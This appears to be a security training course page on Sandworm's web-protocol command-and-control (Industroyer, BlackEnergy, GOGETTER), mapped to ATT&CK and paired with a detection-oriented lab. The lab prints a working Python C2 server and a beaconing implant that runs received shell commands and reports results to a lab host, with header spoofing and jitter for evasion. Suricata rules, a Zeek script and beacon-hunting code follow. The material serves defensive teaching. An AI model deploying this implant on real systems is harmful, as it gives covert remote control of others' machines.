Advanced

Sandworm: Application Layer Protocol and Web Emulation

Command and control is the connective tissue of nearly every intrusion that progresses beyond initial access — without it, an attacker cannot issue commands, move laterally, or exfiltrate...

Table of Contents

Module 1: Command-and-Control Fundamentals and Application-Layer Protocol Abuse

1.1 Why Command and Control Matters to Attackers

Command and control (C2) is a crucial part of any cyber attack because it allows adversaries to establish and maintain communications with the systems they have compromised in a target environment. After an attacker successfully breaches a network or system, they need a reliable way to communicate with the malware or tools they have deployed. That communication channel is what C2 provides.

C2 lets attackers:

  • Execute commands remotely on compromised hosts.
  • Extract data from the target environment.
  • Move laterally within the network.
  • Deploy additional malicious software as the operation progresses.

Without effective C2, attackers lose control of their operations. Adversaries depend heavily on this communication channel to persist in compromised environments — in effect, C2 is the lifeline that turns what could be a short-term breach into a long-term presence, enabling continued exploitation of the target over time.

flowchart TD
    A[Initial Compromise] --> B[Deploy Implant / Backdoor]
    B --> C{Reliable C2 Channel Established?}
    C -- No --> D[Attacker Loses Control<br/>Short-lived Breach]
    C -- Yes --> E[Remote Command Execution]
    E --> F[Data Extraction]
    E --> G[Lateral Movement]
    E --> H[Deployment of Additional Tooling]
    F --> I[Long-term Presence /<br/>Continued Exploitation]
    G --> I
    H --> I

1.2 Common C2 Channels: Remote Access Software and Reverse Connections

To establish C2, adversaries use a variety of channels. One common technique is the use of legitimate remote access software such as VNC or TeamViewer. These tools provide an alternative communication channel, giving attackers redundant access, and they enable interactive remote desktop sessions that let an attacker directly control the target system.

In some cases, remote access functionality is built directly into custom malware to create a reverse connection — the compromised system initiates the outbound connection to an attacker-controlled service, which is often more effective at bypassing inbound firewall restrictions than an attacker trying to connect inbound to the victim.

1.3 Connection Proxies and Multi-Hop C2 Infrastructure

Another method attackers use is connection proxies, which route network traffic between systems or act as intermediaries for communication with a C2 server. Proxies help attackers avoid direct connections to their own infrastructure, making it harder to trace activity back to them.

Proxies serve several purposes in a C2 architecture:

  • Reducing outbound connections — fewer systems need to reach out directly to attacker infrastructure.
  • Providing resilience — if one connection or proxy node drops, the channel can often be re-established through another path.
  • Riding over trusted communication paths — traffic can be routed through paths already trusted within the victim’s environment.

In more sophisticated attacks, adversaries chain multiple proxies together to further obscure the origin of malicious traffic, making attribution and takedown significantly harder for defenders.

flowchart LR
    Attacker[Attacker-Controlled<br/>C2 Server] --> Proxy1[Proxy / Pivot Node 1]
    Proxy1 --> Proxy2[Proxy / Pivot Node 2]
    Proxy2 --> Victim1[Compromised Host A]
    Proxy2 --> Victim2[Compromised Host B]
    Victim1 -. internal SMB/SSH/RDP .-> Victim3[Compromised Host C]
    Victim2 -. internal SMB/SSH/RDP .-> Victim4[Compromised Host D]

1.4 Abusing Application-Layer Protocols to Blend In

Adversaries frequently take advantage of application-layer protocols to evade detection or bypass network filtering by blending their malicious traffic with legitimate communications. Commands are sent to a compromised system, and the results of those commands are often hidden within regular protocol traffic exchanged between a client and a server.

Attackers can use a wide variety of protocols to achieve this, including those normally used for:

  • Web browsing (HTTP/HTTPS)
  • File transfers (FTP, SMB)
  • Email (SMTP, IMAP)
  • Name resolution (DNS)

When adversaries are communicating within a compromised environment — for example, between a proxy/pivot node and other internal systems — they often use protocols like SMB, SSH, or RDP. These protocols are trusted in most networks, which makes it easier for attackers to hide their internal activity as normal, legitimate east-west communication.

Web protocols specifically (HTTP and HTTPS) are attractive to attackers because:

  • They are almost universally allowed outbound through firewalls and proxies.
  • HTTP/S packets contain many fields and headers (URL paths, query parameters, cookies, custom headers, POST bodies) in which data can be concealed.
  • TLS encryption (HTTPS) hides the payload contents from simple content inspection, while the connection metadata still looks like ordinary browsing traffic.
mindmap
  root((C2 Channels))
    Remote Access Software
      VNC
      TeamViewer
      Built-in reverse connections
    Connection Proxies
      Single-hop proxy
      Multi-hop proxy chains
      Riding trusted paths
    Application Layer Protocols
      Web protocols HTTP/HTTPS
      File transfer protocols
      Email protocols
      DNS
    Internal-Only Protocols
      SMB
      SSH
      RDP

1.5 MITRE ATT&CK Mapping for These Techniques

Technique IDNameRelevance to This Course
T1071.001Application Layer Protocol: Web ProtocolsCore technique — C2 traffic disguised as HTTP/HTTPS web traffic
T1572Protocol TunnelingEncapsulating one protocol (e.g., RDP, SSH) inside another to evade filtering
T1090ProxyConnection proxies and multi-hop infrastructure used to obscure the C2 server’s true location
T1102.002Web Service: Bidirectional CommunicationUsing legitimate web services/APIs to relay commands and responses
T1041Exfiltration Over C2 ChannelSending collected data back to the attacker over the same web-protocol channel used for commands

Module 2: Sandworm’s Use of Web Protocols for Command and Control

2.1 Who Is Sandworm Team

Sandworm Team (tracked under multiple aliases including ELECTRUM, Telebots, IRON VIKING, Voodoo Bear, Seashell Blizzard, and APT44) is a destructive threat group attributed to Russia’s General Staff Main Intelligence Directorate (GRU), specifically military unit 74455. The group has been active since at least 2009 and is best known for a series of highly disruptive operations against Ukraine, including the 2015 and 2016 attacks on Ukrainian electrical utilities, the 2017 NotPetya worldwide ransomware/wiper attack, the 2018 Olympic Destroyer attack against the Winter Olympics, and continued operations against Ukrainian critical infrastructure through the full-scale invasion beginning in 2022.

One notable attack that used web protocols for C2 involved the Industroyer malware, deployed by Sandworm during its attack on Ukraine’s electric grid in December 2016.

2.2 Industroyer: A Modular Grid-Attack Malware Framework

Industroyer (also tracked as CRASHOVERRIDE) is a modular malware framework, meaning it has different components designed to carry out specific actions for different phases of the attack. This modularity is what allowed Sandworm to tailor the malware to the industrial control system (ICS) protocols in use at the targeted Ukrainian transmission-level substations.

At the heart of Industroyer is a backdoor that controls all of the other malware components. Sandworm managed those components through a centralized C2 server, which allowed the group to:

  • Issue commands to the infected host.
  • Coordinate the different payload modules (protocol-specific payloads for IEC 60870-5-101, IEC 60870-5-104, IEC 61850, and OPC Data Access).
  • Synchronize actions across the targeted systems so that circuit breakers could be manipulated in a coordinated fashion.
flowchart TB
    subgraph Industroyer["Industroyer Modular Architecture"]
        BD[Main Backdoor<br/>C2 client] --> M101[IEC 60870-5-101<br/>Payload Module]
        BD --> M104[IEC 60870-5-104<br/>Payload Module]
        BD --> M61850[IEC 61850<br/>Payload Module]
        BD --> MOPC[OPC Data Access<br/>Payload Module]
        BD --> WIPER[Data Wiper Module]
        BD --> DOS[SIPROTEC DoS Module<br/>CVE-2015-5374]
    end
    C2[Sandworm C2 Server] <-->|HTTPS| BD
    M101 --> RTU1[Substation RTU / Breaker]
    M104 --> RTU2[Substation RTU / Breaker]
    M61850 --> RTU3[Substation IED / Breaker]

2.3 The Industroyer Backdoor and Its HTTPS-Based C2 Channel

Communication between the infected system and the C2 server was performed over HTTPS, which made detection through simple traffic inspection considerably harder. This is a direct, publicly-documented example of MITRE ATT&CK technique T1071.001 (Application Layer Protocol: Web Protocols) — Industroyer’s main backdoor connected to a remote C2 server using HTTPS to receive commands and exfiltrate hardware/system profile information.

One of the standout features of Industroyer is its ability to communicate directly with industrial control systems using industrial protocols (IEC 60870-5-101/104, IEC 61850, and OPC DA). Because raw ICS-protocol traffic leaving the facility toward the internet would immediately raise alarms, Sandworm disguised its outbound communications to look like normal web traffic or API calls.

sequenceDiagram
    participant Backdoor as Industroyer Backdoor
    participant Proxy as Internal Proxy (TCP 3128 Squid)
    participant C2 as Sandworm C2 Server
    Backdoor->>Proxy: HTTP CONNECT (establish tunnel)
    Proxy-->>Backdoor: Tunnel established
    Backdoor->>C2: HTTPS POST /update (hardware profile, GUID)
    C2-->>Backdoor: HTTPS 200 OK (encoded command / payload DLL name)
    Backdoor->>Backdoor: Decrypt & decompress command<br/>(Triple DES + GZip)
    Backdoor->>Backdoor: Load protocol-specific<br/>payload module
    Backdoor->>C2: HTTPS POST /report (execution results, screenshots)

2.4 Disguising C2 Traffic as Ordinary Web Traffic

Sandworm used things like POST requests and URL parameters to encode or encrypt instructions, and any responses — such as system data or screenshots collected from the compromised host — were likewise disguised as legitimate HTTPS traffic. Encoding and encryption techniques observed across the group’s toolset include:

  • Base64 encoding combined with HTML tags embedded in the communication traffic.
  • ROT13 encoding, AES encryption, and zlib compression for a Python-based backdoor.
  • Triple DES decryption combined with GZip decompression of received command data (as documented for Industroyer’s own backdoor communications).

This kind of protocol-conforming obfuscation is exactly what makes T1071.001 effective: to a network security analyst glancing at connection metadata (destination port 443, valid-looking TLS handshake, plausible domain name), the traffic is indistinguishable from a user’s browser session unless the analyst inspects behavioral patterns (timing, volume, destination reputation) or has visibility into decrypted payload content via TLS interception.

2.5 Renting and Compromising Infrastructure to Evade Attribution

In some cases, Sandworm routed its C2 operations through compromised or rented infrastructure on public cloud services or legitimate websites. This makes it even harder to trace activity back to the group, because security teams are less likely to block traffic to what appears to be a trusted, reputable service. This gave Sandworm a reliable and hard-to-detect communication channel for its attacks.

This lines up with additional documented Sandworm infrastructure tradecraft:

  • Leasing servers from resellers rather than directly from hosting providers.
  • Registering domains and creating URLs designed to mimic or spoof legitimate websites (login pages, file-sharing portals, password-reset pages).
  • Compromising legitimate Linux servers running the EXIM mail transfer agent for reuse as staging or C2 infrastructure.
flowchart LR
    A[Sandworm Operator] --> B{Infrastructure Choice}
    B -->|Rent from reseller| C[Reseller-Leased Server]
    B -->|Compromise legitimate host| D[Hacked EXIM Mail Server]
    B -->|Abuse public cloud/API| E[Public Cloud Service /<br/>Legitimate Website]
    C --> F[C2 Endpoint Presented<br/>to Victim Network]
    D --> F
    E --> F
    F --> G[Victim Firewall / Proxy<br/>Sees Trusted-Looking Destination]
    G --> H[Traffic Allowed Outbound]

2.6 Beyond Industroyer: Web Protocols Across the Broader Sandworm Toolkit

Industroyer is not the only tool in Sandworm’s arsenal that leverages web protocols for C2. The group’s broader toolkit shows a consistent pattern of favoring HTTP/HTTPS as a C2 transport across more than a decade of operations:

Tool / MalwareWeb-Protocol C2 BehaviorRelated ATT&CK Technique
BlackEnergyCommunicated between compromised hosts and C2 servers via HTTP POST requests during the 2015 Ukraine attackT1071.001
GreyEnergySuccessor to BlackEnergy; uses HTTP/HTTPS for C2T1071.001
Exaramel (Linux and Windows variants)Uses HTTPS for C2; links Industroyer to the 2017 NotPetya supply-chain compromiseT1071.001
P.A.S. WebshellIssues commands via HTTP POST; maintained access to victim networks (used in the Centreon intrusion set)T1071.001
Cyclops Blink (VPNFilter successor)Uses HTTP/S and DNS over HTTPS (DoH) to resolve and reach C2 nodes; can tunnel trafficT1071.001, T1572
KapekaUses HTTP for C2, seen in Eastern European operations related to the GreyEnergy lineageT1071.001
Neo-reGeorgWeb shell tunneling tool deployed on an internet-facing server during the 2022 Ukraine attackT1071.001, T1572

2.7 Protocol Tunneling in the 2022 Ukraine Attack

The Sandworm story does not end with HTTP-based C2 alone. During the 2022 Ukraine Electric Power Attack, Sandworm deployed the GOGETTER tunneler to establish a “Yamux” TLS-based C2 channel with an external server — a clear example of T1572 (Protocol Tunneling), where one protocol (Yamux multiplexed streams) is encapsulated inside another (TLS) to blend with ordinary encrypted web traffic and evade network filtering. GOGETTER was configured as a systemd service (masquerading as a legitimate service) to persist across reboots, and the group also deployed the Neo-reGeorg web shell for additional tunneling and web-protocol-based access.

This demonstrates that the underlying tradecraft goal — hide C2 inside protocols the network already trusts and allows outbound — has remained consistent across Sandworm’s campaigns even as the specific tools evolved from 2015 through 2022.

flowchart TD
    A[2015: BlackEnergy<br/>HTTP POST C2] --> B[2016: Industroyer<br/>HTTPS + internal proxy tunnel]
    B --> C[2017: NotPetya /<br/>Exaramel HTTPS C2]
    C --> D[2022: GOGETTER Yamux-over-TLS<br/>tunneling + Neo-reGeorg web shell]
    style A fill:#333,color:#fff
    style B fill:#333,color:#fff
    style C fill:#333,color:#fff
    style D fill:#333,color:#fff

Module 3: Hands-On Lab — Emulating and Detecting HTTP-Based C2 Traffic

If you want to get hands-on with building your own C2 infrastructure to understand how APTs such as Sandworm are able to control victim environments without getting caught, this module walks through configuring C2 communication over HTTP so that it blends in with regular network traffic — and then, just as importantly, how a defender would go about spotting it.

Scope note: the components below are an illustrative, defensively-oriented reference implementation for a lab environment. They mirror the documented Sandworm/Industroyer tradecraft (HTTP/S transport, POST-based command delivery, encoded payloads, proxy tunneling) at a conceptual and structural level for the purpose of building detection engineering skills. They intentionally omit any destructive/ICS-specific payload logic.

3.1 Lab Objectives and Architecture

The lab has three goals:

  1. Stand up a minimal HTTP C2 server that issues base64-encoded “commands” to a registered implant.
  2. Stand up a beaconing client that polls the server on an interval, executes the received instruction locally, and reports results back — all over ordinary-looking HTTP requests.
  3. Capture the resulting traffic and build detection content (network signatures and hunting queries) that would catch this pattern in a real environment.
flowchart LR
    subgraph Attacker Infrastructure
        C2[C2 Server<br/>Flask/http.server on :8080]
    end
    subgraph Victim Host
        Implant[Beaconing Client Script]
    end
    subgraph Defender Tooling
        PCAP[tcpdump / Wireshark Capture]
        IDS[Suricata / Zeek Sensor]
        SIEM[Log Aggregation + Hunting Queries]
    end
    Implant -- "HTTP POST /checkin\n(beacon interval + jitter)" --> C2
    C2 -- "HTTP 200\n(base64 command)" --> Implant
    Implant -- "HTTP POST /result\n(base64 output)" --> C2
    Implant -.-> PCAP
    PCAP --> IDS
    IDS --> SIEM

3.2 Building a Minimal HTTP C2 Server

The server below exposes two endpoints that mimic a normal REST API: /checkin (the implant polls this for its next instruction) and /result (the implant posts execution output back to it). Instructions and results are base64-encoded to keep the payload out of plaintext view, mirroring the encoding behavior documented across Sandworm’s toolset.

# c2_server.py -- illustrative lab C2 server (educational use only)
import base64
import json
import queue
from http.server import BaseHTTPRequestHandler, HTTPServer

# Pending command queue, keyed by implant ID
PENDING_COMMANDS = {"implant-01": queue.Queue()}
PENDING_COMMANDS["implant-01"].put("whoami")

class C2Handler(BaseHTTPRequestHandler):
    def _send_json(self, payload: dict, status: int = 200) -> None:
        body = json.dumps(payload).encode("utf-8")
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Server", "nginx/1.24.0")  # blend in with common web server banner
        self.end_headers()
        self.wfile.write(body)

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        raw_body = self.rfile.read(length)
        data = json.loads(raw_body or b"{}")
        implant_id = data.get("id", "unknown")

        if self.path == "/checkin":
            try:
                cmd = PENDING_COMMANDS.get(implant_id, queue.Queue()).get_nowait()
                encoded_cmd = base64.b64encode(cmd.encode()).decode()
            except queue.Empty:
                encoded_cmd = ""
            # Field name "cid" deliberately chosen to look like an innocuous tracking cookie value
            self._send_json({"cid": encoded_cmd})

        elif self.path == "/result":
            decoded_result = base64.b64decode(data.get("r", "")).decode(errors="replace")
            print(f"[+] Result from {implant_id}:\n{decoded_result}")
            self._send_json({"ack": True})

        else:
            self._send_json({"error": "not found"}, status=404)

if __name__ == "__main__":
    HTTPServer(("0.0.0.0", 8080), C2Handler).serve_forever()

3.3 Building the Beaconing Implant Client

The client below beacons out over HTTP POST on a jittered interval — a defining beaconing characteristic that defenders look for — and executes whatever base64-encoded shell command it receives, sending the output back to the /result endpoint using the same encoding scheme.

# implant_client.py -- illustrative lab beacon client (educational use only)
import base64
import json
import random
import subprocess
import time

import requests

C2_URL = "http://c2.lab.local:8080"
IMPLANT_ID = "implant-01"
BASE_INTERVAL = 30   # seconds
JITTER_PERCENT = 20  # +/- 20% jitter to avoid a perfectly periodic beacon

HEADERS = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
                  "(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
    "Content-Type": "application/json",
}

def sleep_with_jitter():
    jitter = BASE_INTERVAL * (JITTER_PERCENT / 100)
    time.sleep(BASE_INTERVAL + random.uniform(-jitter, jitter))

def checkin():
    resp = requests.post(
        f"{C2_URL}/checkin",
        headers=HEADERS,
        json={"id": IMPLANT_ID},
        timeout=10,
    )
    encoded_cmd = resp.json().get("cid", "")
    return base64.b64decode(encoded_cmd).decode() if encoded_cmd else None

def run_and_report(command: str):
    try:
        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, timeout=15)
    except subprocess.CalledProcessError as exc:
        output = exc.output
    encoded_result = base64.b64encode(output).decode()
    requests.post(
        f"{C2_URL}/result",
        headers=HEADERS,
        json={"id": IMPLANT_ID, "r": encoded_result},
        timeout=10,
    )

if __name__ == "__main__":
    while True:
        command = checkin()
        if command:
            run_and_report(command)
        sleep_with_jitter()
sequenceDiagram
    autonumber
    participant Client as Implant Client
    participant Server as Lab C2 Server
    loop Every ~30s +/- jitter
        Client->>Server: POST /checkin {"id": "implant-01"}
        Server-->>Client: {"cid": "<base64 command>"}
        alt Command received
            Client->>Client: Execute command locally
            Client->>Server: POST /result {"id": "implant-01", "r": "<base64 output>"}
            Server-->>Client: {"ack": true}
        else No command pending
            Client->>Client: Sleep until next interval
        end
    end

3.4 Blending In: Mimicking Legitimate Web Traffic

The lab implant and server above already demonstrate several evasion techniques mirrored from real-world Sandworm tradecraft:

  • Realistic User-Agent string — a standard Chrome-on-Windows string rather than a default Python requests user agent.
  • Spoofed Server header — advertising nginx on the C2 response so casual header inspection looks benign.
  • JSON field names chosen to look mundanecid and r resemble tracking/session fields rather than obvious command/response fields.
  • Base64-encoded command and result bodies — keeps plaintext command strings out of the request/response bodies, similar to how Sandworm malware base64-encodes data combined with HTML tags.
  • Jittered beacon interval — avoids a perfectly periodic connection pattern that would be trivial to fingerprint.

Additional techniques worth layering on in a more advanced lab iteration (all consistent with documented Sandworm/ATT&CK tradecraft) include:

  • Routing the implant’s traffic through an internal proxy before it reaches the internet-facing C2 (mirrors Industroyer’s HTTP CONNECT through a Squid-style internal proxy on TCP 3128).
  • Using a domain name that closely mimics a legitimate service.
  • Wrapping the channel in TLS (HTTPS) so payloads are encrypted in transit, not just base64-encoded.

3.5 Capturing and Analyzing the Traffic

With both the server and client running in the lab, capture the traffic between them to see what a defender would actually observe on the wire:

# Capture traffic to/from the lab C2 server on port 8080
sudo tcpdump -i eth0 -w c2_lab_capture.pcap host c2.lab.local and port 8080

# Read back and filter for the POST requests only
tcpdump -r c2_lab_capture.pcap -A 'tcp port 8080 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'

Open the capture in Wireshark and apply an HTTP filter to review the request/response pairs:

http.request.method == "POST" && http.host == "c2.lab.local"

Expected observations from the capture:

  • Two distinct POST paths (/checkin, /result) repeating at a near-fixed interval.
  • Small, structurally-identical JSON bodies on every request ({"id": "implant-01", ...}).
  • A Server: nginx/1.24.0 header on every response, despite no real nginx instance being present — a mismatch that stands out once you know to look for it.
  • Base64-looking strings inside otherwise plain JSON fields (cid, r).

3.6 Detection Engineering: Network Signatures for Web-Protocol C2

The traffic characteristics above translate directly into detection content. Below are illustrative Suricata rules and a Zeek script fragment that would flag this lab’s beacon pattern — the same principles apply to detecting real Sandworm-style HTTP/S C2.

# suricata_c2_rules.rules -- illustrative detection content for lab traffic

alert http any any -> any any (msg:"LAB - Possible C2 checkin pattern (repetitive small JSON POST)"; \
    flow:established,to_server; http.method; content:"POST"; \
    http.uri; content:"/checkin"; \
    http.request_body; content:"|22|id|22|"; \
    threshold: type threshold, track by_src, count 5, seconds 300; \
    classtype:trojan-activity; sid:9000001; rev:1;)

alert http any any -> any any (msg:"LAB - Spoofed nginx Server header from non-nginx host"; \
    flow:established,to_client; http.response_header.names; \
    content:"Server"; \
    http.header; content:"nginx/1.24.0"; \
    classtype:trojan-activity; sid:9000002; rev:1;)

alert http any any -> any any (msg:"LAB - Base64-looking value in JSON field named cid or r"; \
    flow:established; \
    pcre:"/\"(cid|r)\"\s*:\s*\"[A-Za-z0-9+\/]{12,}={0,2}\"/"; \
    classtype:trojan-activity; sid:9000003; rev:1;)
# c2_beacon_detection.zeek -- illustrative Zeek beacon-interval scoring script
module C2Beacon;

export {
    redef enum Notice::Type += { PossibleBeaconing };
}

global conn_intervals: table[addr, addr] of vector of interval;

event http_request(c: connection, method: string, original_URI: string,
                    unescaped_URI: string, version: string) {
    if (method == "POST" && (/\/checkin/ in original_URI || /\/result/ in original_URI)) {
        local key = c$id$orig_h;
        # Record inter-request timing per source/destination pair for jitter analysis
        # (full implementation would compare successive deltas against a jitter threshold)
        NOTICE([$note=PossibleBeaconing,
                $msg=fmt("Repeated POST to %s from %s", original_URI, c$id$orig_h),
                $conn=c]);
    }
}

3.7 Threat Hunting for Beaconing Behavior

Beyond signature-based detection, defenders should hunt for the statistical fingerprint of beaconing: a small set of near-identical request sizes recurring at a near-constant interval to the same destination. The pseudocode below illustrates the core idea behind commercial and open-source beacon-detection analytics (such as RITA or JA3/JA4-based clustering).

# beacon_hunt.py -- illustrative interval-variance beacon scoring (educational use only)
from collections import defaultdict
from statistics import stdev, mean

def score_beaconing(connection_log):
    """
    connection_log: list of dicts with keys 'src', 'dst', 'timestamp', 'bytes_out'
    Returns destinations sorted by 'beacon score' (lower variance = more beacon-like).
    """
    timestamps_by_pair = defaultdict(list)
    for entry in connection_log:
        timestamps_by_pair[(entry["src"], entry["dst"])].append(entry["timestamp"])

    scores = {}
    for pair, timestamps in timestamps_by_pair.items():
        timestamps.sort()
        deltas = [b - a for a, b in zip(timestamps, timestamps[1:])]
        if len(deltas) >= 5:
            variance_ratio = stdev(deltas) / mean(deltas) if mean(deltas) else float("inf")
            scores[pair] = variance_ratio  # closer to 0 => highly regular, beacon-like

    return sorted(scores.items(), key=lambda kv: kv[1])
flowchart TD
    A[Collect proxy/firewall/NetFlow logs] --> B[Group connections by src/dst pair]
    B --> C[Compute inter-connection time deltas]
    C --> D{Low variance in delta<br/>AND small, consistent payload size?}
    D -- Yes --> E[Flag as candidate beacon]
    D -- No --> F[Deprioritize / benign traffic]
    E --> G[Enrich: domain age, reputation,<br/>TLS cert, ASN, JA3/JA4 fingerprint]
    G --> H{Enrichment confirms suspicion?}
    H -- Yes --> I[Escalate to incident response]
    H -- No --> F

MITRE ATT&CK Reference Tables

Technique Mapping

Technique IDNameWhere It Applies in This Course
T1071.001Application Layer Protocol: Web ProtocolsIndustroyer’s HTTPS backdoor; BlackEnergy’s HTTP POST C2; lab implant/server traffic
T1572Protocol TunnelingIndustroyer’s internal proxy HTTP CONNECT tunnel; GOGETTER Yamux-over-TLS tunnel (2022)
T1090ProxySandworm’s internal proxy establishment prior to backdoor installation; multi-hop connection proxies
T1102.002Web Service: Bidirectional CommunicationUse of legitimate web/API services (e.g., Telegram Bot API) to send/receive commands
T1041Exfiltration Over C2 ChannelIndustroyer sending hardware/system profile data back over the same HTTPS channel used for C2
T1132.001Data Encoding: Standard EncodingBase64 encoding combined with HTML tags in C2 traffic (BCS-server tool)
T1027Obfuscated Files or InformationROT13, AES, and zlib-compressed command data in Sandworm’s Python-based backdoor

Detection Signature Reference

Indicator / PatternDetection LogicMaps To
Repetitive small HTTP(S) POST requests to the same hostThreshold/frequency rule on POST count per source over a time windowT1071.001
Regular (low-jitter) inter-request timingStatistical beacon scoring (variance/mean of time deltas)T1071.001, T1090
Mismatched or spoofed Server/banner headersSignature comparing claimed server software to known fingerprint behaviorT1071.001
Base64-encoded values inside otherwise plaintext JSON/form fieldsRegex/PCRE pattern matching on request/response bodiesT1132.001
HTTP CONNECT to an internal, non-standard proxy port (e.g., 3128) followed by outbound HTTPSProxy/firewall log correlation ruleT1572, T1090
TLS-encapsulated multiplexed tunnel traffic (e.g., Yamux-style framing) to an external IPTLS JA3/JA4 fingerprinting plus destination reputation scoringT1572
Outbound connections to newly-registered or typosquatted domains over 443Domain-age/reputation enrichment on outbound HTTPS connectionsT1071.001

Mitigations

Mitigation IDNameApplication
M1037Filter Network TrafficRestrict and monitor outbound web traffic (HTTP/HTTPS) from critical and ICS-adjacent servers to only approved destinations; block by default from OT-facing hosts
M1031Network Intrusion PreventionDeploy signatures targeting known C2 traffic patterns and protocol anomalies (as illustrated in the Suricata/Zeek examples above)
TLS Interception / Decryption (where policy allows)Enables content inspection of otherwise-opaque HTTPS C2 traffic on egress proxies
Network Segmentation (IT/OT boundary)Limits the blast radius if a C2 channel is established on the IT side, preventing direct reach into ICS/OT networks (directly relevant to the Industroyer scenario)
Beacon/Traffic-Analysis BaseliningEstablish a baseline of expected outbound connection patterns so anomalous, highly-regular beaconing stands out
DNS and Certificate MonitoringFlag newly-registered domains, mismatched certificates, and domains mimicking legitimate services

Summary

Command and control is the connective tissue of nearly every intrusion that progresses beyond initial access — without it, an attacker cannot issue commands, move laterally, or exfiltrate data from a compromised environment. Sandworm Team’s operations, most visibly the Industroyer malware used against the Ukrainian electric grid in December 2016, are a well-documented, real-world illustration of MITRE ATT&CK technique T1071.001 (Application Layer Protocol: Web Protocols): a modular backdoor communicating over HTTPS, encoding and encrypting its commands and results so the traffic blends with ordinary web activity, tunneling through internal proxies, and riding on rented or compromised infrastructure to frustrate attribution. The group’s tradecraft has remained consistent across more than a decade of campaigns — from BlackEnergy’s HTTP POST C2 in 2015 through GOGETTER’s Yamux-over-TLS tunneling in 2022 — even as the specific tools and protocols evolved.

Building and instrumenting a small-scale HTTP-based C2 emulation lab — as walked through in Module 3 — is one of the most effective ways to internalize both sides of this problem: how easy it is to make malicious traffic look benign at the protocol level, and how a defender’s visibility into timing, structure, and metadata (rather than just payload content) is what ultimately exposes it.

Detection and Mitigation Checklist

  • Inventory and monitor all outbound HTTP/HTTPS traffic from servers and ICS/OT-adjacent hosts; default-deny to unapproved destinations.
  • Deploy network intrusion detection/prevention signatures for known C2 frameworks and protocol anomalies (mismatched banners, unusual header combinations).
  • Baseline expected outbound connection intervals and payload sizes per host/service to make beaconing patterns stand out statistically.
  • Where policy permits, decrypt and inspect outbound TLS traffic at the egress proxy, especially from sensitive network segments.
  • Enforce IT/OT network segmentation so that a C2 foothold on the corporate network cannot directly reach industrial control systems.
  • Monitor for HTTP CONNECT requests to internal or non-standard proxy ports followed by external HTTPS connections.
  • Track domain registration age, certificate details, and typosquatting patterns for outbound HTTPS destinations.
  • Correlate JA3/JA4 TLS fingerprints and destination reputation data against known C2 framework signatures.
  • Regularly review firewall/proxy logs for repetitive, structurally-identical requests to the same external host.
  • Practice detection engineering against emulated C2 traffic (as in Module 3) rather than relying solely on signature feeds, since encoding schemes and headers can be trivially altered by adversaries.

Search Terms

sandworm · application · layer · protocol · web · emulation · security · hot · takes · threat · intel · networking · systems · traffic · detection · industroyer · protocols · application-layer · att · beaconing · command · control · infrastructure · mapping

More Security Hot Takes & Threat Intel courses

View all 21

Interested in this course?

Contact us to book it or get a custom training plan for your team.